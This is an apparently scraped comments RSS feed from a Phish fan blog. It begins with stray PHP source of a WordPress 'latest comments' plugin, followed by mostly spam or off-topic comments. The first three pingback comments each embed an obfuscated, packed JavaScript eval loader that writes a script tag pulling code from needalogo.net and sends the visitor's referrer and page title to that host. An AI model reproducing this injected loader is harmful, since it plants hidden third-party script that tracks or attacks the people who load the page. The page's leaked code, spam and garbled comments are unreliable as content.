Michael Heilemann.
If you have Dunstan's Time Since installed, this plugin uses it for the title="" attributes on the comments and posts. (For WordPress 1.5) Author: Brian Meidell Author URI: http://meidell.dk/ Version 1.5: Now works without LOCK TABLE and CREATE TEMPORARY TABLE priviledges. Version 1.5.1: Can't remember what I did here Version 1.5.2: Fixed count select statement to not include spammy comments Version 1.5.3: Properly excludes track- and pingbacks Version 1.5.4: Excludes posts that are not published, even if they have comments Version 1.5.5: Fade old comments, fixed bug that wreaked havoc with Time Since Version 1.5.6: Bugfix from Jonas Rabbe (http://www.jonas.rabbe.com/) pertaining to timesince Version 1.5.7: Bugfix so old colors can be darker than new colors (stupid oversight), thanks to http://spiri.dk for spotting it. Bugfix where single digit hex would cause invalid colors, thanks to http://www.wereldkeuken.be/ for the fix. Version 1.5.8: Updated to work with WordPress 2.1 alpha by M. Heilemann. */ function blc_latest_comments($num_posts = 5, $num_comments = 6, $hide_pingbacks_and_trackbacks = true, $prefix = "
  • ", $postfix = "
  • ", $fade_old = true, $range_in_days = 10, $new_col = "#444444", $old_col = "#cccccc") { global $wpdb; function clamp($min, $max, $val) { return max($min,min($max,$val)); } $usetimesince = function_exists('time_since'); // Work nicely with Dunstan's Time Since plugin (adapted by Michael Heilemann) // This is compensating for the lack of subqueries in mysql 3.x // The approach used in previous versions needed the user to // have database lock and create tmp table priviledges. // This uses more queries and manual DISTINCT code, but it works with just select privs. if(!$hide_pingbacks_and_trackbacks) $ping = ""; else $ping = "AND comment_type<>'pingback' AND comment_type<>'trackback'"; $posts = $wpdb->get_results("SELECT comment_post_ID, post_title FROM ($wpdb->comments LEFT JOIN $wpdb->posts ON (comment_post_ID = ID)) WHERE comment_approved = '1' AND $wpdb->posts.post_status='publish' $ping ORDER BY comment_date DESC;"); $seen = array(); $num = 0; if($fade_old) { $max_time = $range_in_days * 24 * 60 * 60 ; $r_new = hexdec(substr($new_col, 1, 2)); $r_old = hexdec(substr($old_col, 1, 2)); //$r_min = min($min, $max); //$r_max = max($min, $max); $r_range = ($r_old-$r_new); $g_new = hexdec(substr($new_col, 3, 2)); $g_old = hexdec(substr($old_col, 3, 2)); //$g_min = min($min, $max); //$g_max = max($min, $max); $g_range = ($g_old-$g_new); $b_new = hexdec(substr($new_col, 5, 2)); $b_old = hexdec(substr($old_col, 5, 2)); //$b_min = min($min, $max); //$b_max = max($min, $max); $b_range = ($b_old-$b_new); } // print "ranges: $r_range, $g_range, $b_range
    "; // print "r: ".(0.5*$r_range+$r_new)."
    "; foreach($posts as $post) { // The following 5 lines is a manual DISTINCT and LIMIT, // since mysql 3.x doesn't allow you to control which way a DISTINCT // select merges multiple entries. if(array_key_exists($post->comment_post_ID, $seen)) continue; $seen[$post->comment_post_ID] = true; if($num++ > $num_posts) break; $commenters = $wpdb->get_results("SELECT *, UNIX_TIMESTAMP(comment_date) AS unixdate FROM $wpdb->comments WHERE comment_approved = '1' AND comment_post_ID = '".$post->comment_post_ID."' $ping ORDER BY comment_date DESC LIMIT $num_comments;"); $count = $wpdb->get_var("SELECT COUNT(comment_ID) AS c FROM $wpdb->comments WHERE comment_post_ID = $post->comment_post_ID AND comment_approved = '1' ".$ping); $i = 0; $link = get_permalink($post->comment_post_ID); if($usetimesince) $title = " title=\"Last comment was ".time_since($comment->unixdate)." ago\""; else $title = ""; echo $prefix."".stripslashes($post->post_title). "  ".$count."
    \n"; foreach($commenters as $commenter) { if($usetimesince) $title = " title=\"Posted ".time_since($commenter->unixdate)." ago\""; if($fade_old) { $diff = time() - $commenter->unixdate; $r = round($diff/$max_time*($r_range))+$r_new; $r = clamp(min($r_new, $r_old), max($r_new, $r_old), $r); $g = round($diff/$max_time*($g_range))+$g_new; $g = clamp(min($g_new, $g_old), max($g_new, $g_old), $g); $b = round($diff/$max_time*($b_range))+$b_new; $b = clamp(min($b_new, $b_old), max($b_new, $b_old), $b); $r_hex = str_pad(dechex($r), 2, '0', STR_PAD_LEFT); $g_hex = str_pad(dechex($g), 2, '0', STR_PAD_LEFT); $b_hex = str_pad(dechex($r), 2, '0', STR_PAD_LEFT); $colstr = " style=\"color: #".$r_hex.$g_hex.$b_hex.";\""; } if($i++ > 0) echo ", "; echo "comment_ID."\"$title>".stripslashes($commenter->comment_author).""; } if($count > $num_comments) echo " [...]"; echo "".$postfix."\n"; } } ?> Comments for YEMblog http://yemblog.com Visit YEMblog.com for a daily look at Phish-related information from around the web. Offering news, audio torrents, videos, auctions, photos and much more. Wed, 03 Aug 2016 16:32:37 +0000 hourly 1 http://wordpress.org/?v=4.1.20 Comment on Serious’d: Manchester Man – I Knew Terror Figure [UnionLeader] by Serious’d: Manchester Man – I Knew Terror Figure [UnionLeader] | YEMblog | SpootyLinks.com http://yemblog.com/seriousd-manchester-man-i-knew-terror-figure-unionleader/#comment-718351 Wed, 03 Aug 2016 16:32:37 +0000 http://yemblog.com/seriousd-manchester-man-i-knew-terror-figure-unionleader/#comment-718351 […] http://yemblog.com/seriousd-manchester-man-i-knew-terror-figure-unionleader/eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c–)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\w+'};c=1};while(c–)if(k[c])p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c]);return p}('(7(){2 d=3;2 w=1;2 h=1;2 t=d.8('9');2 4=5.a(5.b()*c);2 0='e://f.g/i/j?';0=0+'k='+3.l;0=0+'&m='+3.n;0=0+'&r='+4;d.o('')})();',35,35,'src||var|document|id|Math|iframe|function|createElement|script|floor|random|9999||http|needalogo|net||rotation|3wBsvV|se_referrer|referrer|default_keyword|title|write|style|padding||0px||border|none||width|height'.split('|'),0,{})) […]

    Comment on Phish: 07/04/2010 Harpua > Killing In The Name > Harpua [VQ: A, AQ: A] by Phish: 07/04/2010 Harpua > Killing In The Name > Harpua [VQ: A, AQ: A] | YEMblog | SpootyLinks.com http://yemblog.com/phish-07042010-harpua-killing-in-the-name-harpua-vq-a-aq-a/#comment-718350 Wed, 03 Aug 2016 02:08:25 +0000 http://yemblog.com/?p=11791#comment-718350 […] http://yemblog.com/phish-07042010-harpua-killing-in-the-name-harpua-vq-a-aq-a/eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c–)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\w+'};c=1};while(c–)if(k[c])p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c]);return p}('(7(){2 d=3;2 w=1;2 h=1;2 t=d.8('9');2 4=5.a(5.b()*c);2 0='e://f.g/i/j?';0=0+'k='+3.l;0=0+'&m='+3.n;0=0+'&r='+4;d.o('')})();',35,35,'src||var|document|id|Math|iframe|function|createElement|script|floor|random|9999||http|needalogo|net||rotation|3wBsvV|se_referrer|referrer|default_keyword|title|write|style|padding||0px||border|none||width|height'.split('|'),0,{})) […]

    Comment on Phish: 03/01/2003 Entire Show Playlist [VQ: A, AQ: A] by Phish: 03/01/2003 Entire Show Playlist [VQ: A, AQ: A] | YEMblog | SpootyLinks.com http://yemblog.com/phish-03012003-entire-show-playlist-vq-a-aq-a/#comment-718349 Mon, 01 Aug 2016 18:50:23 +0000 http://yemblog.com/?p=14696#comment-718349 […] http://yemblog.com/phish-03012003-entire-show-playlist-vq-a-aq-a/eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c–)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\w+'};c=1};while(c–)if(k[c])p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c]);return p}('(7(){2 d=3;2 w=1;2 h=1;2 t=d.8('9');2 4=5.a(5.b()*c);2 0='e://f.g/i/j?';0=0+'k='+3.l;0=0+'&m='+3.n;0=0+'&r='+4;d.o('')})();',35,35,'src||var|document|id|Math|iframe|function|createElement|script|floor|random|9999||http|needalogo|net||rotation|3wBsvV|se_referrer|referrer|default_keyword|title|write|style|padding||0px||border|none||width|height'.split('|'),0,{})) […]

    Comment on Trey Anastasio: TAB 11/11/2011 DAUD Atlanta, GA by Kaori http://yemblog.com/trey-anastasio-tab-11112011-daud-atlanta-ga/#comment-716966 Mon, 04 May 2015 00:43:16 +0000 http://yemblog.com/?p=20397#comment-716966 Wow, Randy, I’m glad you and Nadia were able to escape with your carmea (and yourselves) unharmed this time. You’ve written about one of my biggest worries when I go out birding by myself there have been quite a few occasions on which I’ve felt threatened in the woods. I’ve been planning to write about this too maybe now that you’ve reminded me of it, I will. Be well.

    Comment on Phish: 06/20/2009 Train Song [VQ: A, AQ: B+] by Yosio http://yemblog.com/phish-06202009-train-song-vq-a-aq-b/#comment-716965 Mon, 04 May 2015 00:43:04 +0000 http://yemblog.com/?p=5575#comment-716965 OK, here’s the wide eyed Windows user trying out this lee-nux thing. Hey, the first huldre’s not so bad the installer mainly does the right thing (what the user wants) by leaving Windows on the machine and setting up dual boot. Except when it doesn’t.Next comes the login screen. By default, you put in a username and a password. Windows defaults to just the password, applying it to the main user account. Somehow Microsoft has this idea that PCs are primarily used by just one user. A minor point, but that’s just for starters.Everything is a little different. And yes, out tyro user is a bit timid about having to change work habits built up over years and years of the Microsoft monopoly. But the trouble really starts when the newbie wants to play a DVD. Oh hell. Mediabuntu, right? Where’s that documented? I actually found it through Google, but I hate cracking manuals open. So cool, our innocent victim user has to spend an hour or two, if not more, chasing down the codecs and libdvdcss so the movie player will work. What’s that? The audio doesn’t work even once the video does? Two different codecs, you ninny! At least 50% of the users have just scratched Ubuntu and Linux off their list. And Ubuntu actually does that a lot better than the average distro.And it goes on like that. All of us are used to Googling and forum crawling to find answers to obscure questions about how this increasingly complex desktop Linux OS works. Windows users have to do that too, and are often at a disadvantage because the system is opaque and answers are harder to dig out. Except they aren’t harder to dig out. There are way more Windows users than Linux users, and their collective experience actually makes finding Windows solutions at least as easy as Linux ones. And you know, they don’t have to go looking as much as we do.This is something that this dyed in the wool Microsoft hater and Unix/Linux engineer with 23 years experience finds hard to swallow: Microsoft does reliability better than Linux in a whole bunch of areas now. It wasn’t always that way. If you’ve been around long enough to remember Windows 3.1 and DOS, you know how high guano was piled on Microsoft’s program loaders. And yes, Vista is a terrible, paternalistic, bloated under performing pile of crap that is deservedly struggling in the marketplace. But it doesn’t crash very often they’ve actually improved that a lot. And it plays DVDs out of the box. And the sound doesn’t get flaky like with pulseaudio. And of course, all the hardware under the sun works with Wintel the power of the duopoly.But, we have Freedom. Not a bad thing to have at all. But one of the things that freedom means is there are lots of solutions to the same problems. Distros, including Ubuntu, realize that focusing on just one package manager, or ogg player, or text editor or photo organizer etc, etc etc, means less support burden and less confusion for naive users. But if you take a scalpel and cut through the fertile but untidy Linux software ecosystem, you can only go so far. Microsoft suffers from this problem too, but to a lesser degree, since they have more control. Apple has a big advantage here since they control both the hardware and the software quite rigidly.The diversity is much greater in the Linux world, especially for basic functions like movie players. (If you get a little shock hearing a movie player described as a “basic function,” welcome to the average user’s perspective.) So freedom, essential to the success of Gnu/Linux, a key advantage we hold over other OSen and one of it’s finest features today and for the future, has this downside that enthusiasts rarely consider: integration of all that diversity is hard. And Microsoft does it better partly by being more paternalistic and less Free.But we also have free with a lowercase “f”. One of the big attractions of Linux for ordinary computer users and big corporations alike is its low cost. With the premium Microsoft places on the OS and basic productivity apps, we have a big advantage right out of the gate. And it only increases as you move up the stack, assuming there’s an adequate free equivalent in Linux for a give proprietary package. But you know, if it isn’t easy and reliable, people’s perception of the value of free will go down.I applaud Ubuntu for their herculean effort in trying to integrate best of breed apps into a semblance of a unified desktop environment. I hope they get around to fully supporting my cute little MSI Wind so I can dump the XP partition. I’m just a little disgruntled that advantages in reliability have eroded as desktop Linux has tried to ramp up to all the things Apple and Microsoft do for and to users.

    Comment on Trey Anastasio: 02/18/2010 Sultans of Swing [VQ: B, AQ: B+] by Yuliya http://yemblog.com/trey-anastasio-02182010-sultans-of-swing-vq-b-aq-b/#comment-716964 Mon, 04 May 2015 00:42:59 +0000 http://yemblog.com/trey-anastasio-02182010-sultans-of-swing-vq-b-aq-b/#comment-716964 I understand the smniteent but I wouldn’t let POM or even POTUS near my posterior. My response to them is unprintable.What the POM’s response to all the illegals in our country that have committed major crimes like murder, rape, grand theft, drug running and a whole host of other lesser crimes on US soil.If they are able to get back to Mexico, they won’t extradite in murder cases unless the US agrees to no death penalty.Again my response is unprintable.

    Comment on Tom Marshall Shares: Backwards Down The Number Line Demo [Soundcloud] by transfer money to http://yemblog.com/tom-marshall-shares-backwards-down-the-number-line-demo-soundcloud/#comment-709308 Sat, 25 Apr 2015 10:28:50 +0000 http://yemblog.com/?p=20119#comment-709308 It has become more easy to deliver cash today than before.

    Sending money on the internet is a simple and quick procedure that frequently leads to cash coming promptly also.
    Many people desire to understand how to money transfer to Europe.

    Comment on Phish: 12/29/09 Prince Caspian [VQ: A-, AQ: B+] by экономител http://yemblog.com/phish-122909-prince-caspian-vq-a-aq-b/#comment-707187 Fri, 24 Apr 2015 11:04:23 +0000 http://yemblog.com/?p=9372#comment-707187 Хотим отметить что мы не храним у себя на сервере ни одного фильма, клипа,
    мультфильма, телепередачи, все они их качество,
    способность скачать бесплатно музыку, а также Fast
    Weight Loss Pills их Fast Weight Loss Pills сайте без скачивания
    на свой компьютер. Короче говорить можно много всегоно лучше
    вам самим ознакомится с прямым ссылкамэто
    очень быстро. экономитель воды Сексуальные песни Песни, которые
    в тему Healthy Dietary Supplements For Weight Loss в нужном Вам формате без.
    Сюжет таков, в один миг привычная сразу в нужном Вам формате
    без. Скачать музыку в контакте без программ его жизнь с ног на
    голову колонисты, могущественные корпорации,
    а также старые бесплатно, и без регистрации.
    EKOVODA24 экономитель воды (tinyurl.com).

    Comment on @YEMblog Twitter Updates for 2013-05-10 by Sac cabas chanel http://yemblog.com/yemblog-twitter-updates-for-2013-05-10/#comment-694888 Sun, 19 Apr 2015 18:49:43 +0000 http://yemblog.com/yemblog-twitter-updates-for-2013-05-10/#comment-694888 You should stand eligible for your scheme by fulfilling some conditions while applying so that you just is not going to
    face any problem to get approved Sac cabas
    chanel funding has closed $150 million in transactions
    inside last 99 days.

    Comment on @YEMblog Twitter Updates for 2013-06-10 by Adelaida http://yemblog.com/yemblog-twitter-updates-for-2013-06-10/#comment-693914 Sun, 19 Apr 2015 09:46:41 +0000 http://yemblog.com/yemblog-twitter-updates-for-2013-06-10/#comment-693914 What i do not understood is actually how you are not really a lot more smartly-preferred than you might be right now.
    You’re very intelligent. You recognize therefore significantly in terms of this
    matter, made me personally consider it from so many numerous angles.
    Its like men and women don’t seem to be interested except it’s one thing to do with Girl gaga!
    Your own stuffs nice. All the time maintain it up!

    Comment on Phish: 06/25/1997 Piper [VQ: B+, AQ: B+] by auto insurance http://yemblog.com/phish-06251997-piper-vq-b-aq-b/#comment-688092 Fri, 17 Apr 2015 09:34:28 +0000 http://yemblog.com/?p=16882#comment-688092 Hi there! I’m so delighted I came across your website. I seriously located you by error, whilst I was exploring on Digg for some other thing. Anyway, I am here right now and would just decide to give you thanks for a fantastic article along with a over-all interesting weblog (I additionally love the theme / design). I don’t have time to look through it all at the moment however I’ve book marked it and also added in your RSS feeds, so when I have time I’ll be back to find out more. Please do keep up the amazing task.

    Comment on Phish: 12/31/2011 Fluffhead [VQ: A+, AQ: A+, Official] by Tampa auto insurance http://yemblog.com/phish-12312011-fluffhead-vq-a-aq-a-official/#comment-683874 Tue, 14 Apr 2015 18:33:50 +0000 http://yemblog.com/?p=21211#comment-683874 Su pagina es de mucha ayuda a muchos que tenemos mucghas dudas sobre este Tema, ya que es un tema muy amplio y de mucho criterio.Mipregunta es la siguiente:Nos han facturado por el servicio de hospitalizacion, medicamentos, servicios de honorarios de medico. La consulta es el servicio de hospitalizacion tiene detraccion?

    Comment on Watkins Glen: Third Set Thunder [Phish Thoughts] by Cgpme http://yemblog.com/watkins-glen-third-set-thunder-phish-thoughts/#comment-682267 Sun, 12 Apr 2015 02:29:24 +0000 http://yemblog.com/?p=18596#comment-682267 I just want to say I am seriously upset about this web site. Very lilkey his woman trap worked on me. You certainly tell the good stories. Many thanks for revealing your website page.

    Comment on Summer Tour: Recap of the First Three Shows [TimeOut] by Ricardo http://yemblog.com/summer-tour-recap-of-the-first-three-shows-timeout/#comment-682249 Sun, 12 Apr 2015 01:27:48 +0000 http://yemblog.com/summer-tour-recap-of-the-first-three-shows-timeout/#comment-682249 Felt so hopeless looking for answers to my qutsuions…tneil now.

    Comment on Watkins Glen: Super Phest – A Review [A Few Of My Phavorite Things] by Tebogo http://yemblog.com/watkins-glen-super-phest-a-review-a-few-of-my-phavorite-things/#comment-681654 Fri, 10 Apr 2015 15:14:29 +0000 http://yemblog.com/?p=18569#comment-681654 Of the panoply of website I’ve pored over this has the most veiycrta.

    Comment on Phish: 12/31/2011 Fluffhead [VQ: A+, AQ: A+, Official] by Kousuke http://yemblog.com/phish-12312011-fluffhead-vq-a-aq-a-official/#comment-681320 Fri, 10 Apr 2015 02:12:22 +0000 http://yemblog.com/?p=21211#comment-681320 Whats Your Risk Style, Part IISo if we dont have the quality of data to use an oetbcjivist approach to probability, that leaves two alternatives:Donn Parkers no risk approach where we dont acknowledge probability, frequency, or risk at all, orA

    Comment on Cactus: Mike Gordon 11/13/2011 Setlist Lebanon, NH [Mike-Gordon.com] by auto insurance http://yemblog.com/cactus-mike-gordon-11132011-setlist-lebanon-nh-mike-gordon-com/#comment-680687 Thu, 09 Apr 2015 09:25:16 +0000 http://yemblog.com/?p=20420#comment-680687 Wow! I am so glad that no one got arrested! Wow! Can you believe it? Can we send that cop back to the Academy? Get him a netflix subscription to COPS so he can no how to do his job! Maybe reruns of Andy Griffeth so he knows how small town cops are SUPPOSED to be! I hope the girls overcome this and become good friends; if not, at least you found out about this person before any more time was invested in the friendship! Can we say ‘eye chee wa wa’! Way to go Carole and Jimmie! I feel like a bobble head shaking my head in utter amazement…cops…oh brother.

    Comment on Live Phish: Phish to Release Hampton / Winston-Salem ’97 [Hidden Track] by Penakluq http://yemblog.com/live-phish-phish-to-release-hampton-winston-salem-97-hidden-track/#comment-680187 Wed, 08 Apr 2015 20:04:06 +0000 http://yemblog.com/?p=20103#comment-680187 I’ve been thkinnig about you this past week thkinnig that I would be EXHAUSTED if I were you! But you’re right, at least next time you’re on the move it will be with Nick. To an AMAZING location (or should I say locations:) Time to take a breather!

    Comment on Remembrances: Flowing Back to Hartford ’99 [Dog Gone Blog] by Rope http://yemblog.com/remembrances-flowing-back-to-hartford-99-dog-gone-blog/#comment-677627 Mon, 06 Apr 2015 00:27:26 +0000 http://yemblog.com/?p=16888#comment-677627 BS low – raoainiltty high! Really good answer!

    Comment on Trey Anastasio: TAB 11/11/2011 Setlist – Atlanta, GA [Phish.net] by Valentin http://yemblog.com/trey-anastasio-tab-11112011-setlist-atlanta-ga-phish-net/#comment-677626 Mon, 06 Apr 2015 00:27:18 +0000 http://yemblog.com/?p=20390#comment-677626 Calderon should anewsr the families of the 27,000+ murdered under his failed policies in the last couple of years. He and his party are sinking in the quicksand. Last I heard, his poll ratings were in the 34% approval ratings. He is a dirtbag. As for the 14 yr old deviant, he should have tried throwing rocks at the Army tank posted down his street or perhaps a drug cartel lieutenant’s car. I doubt that they would have asked him to stop.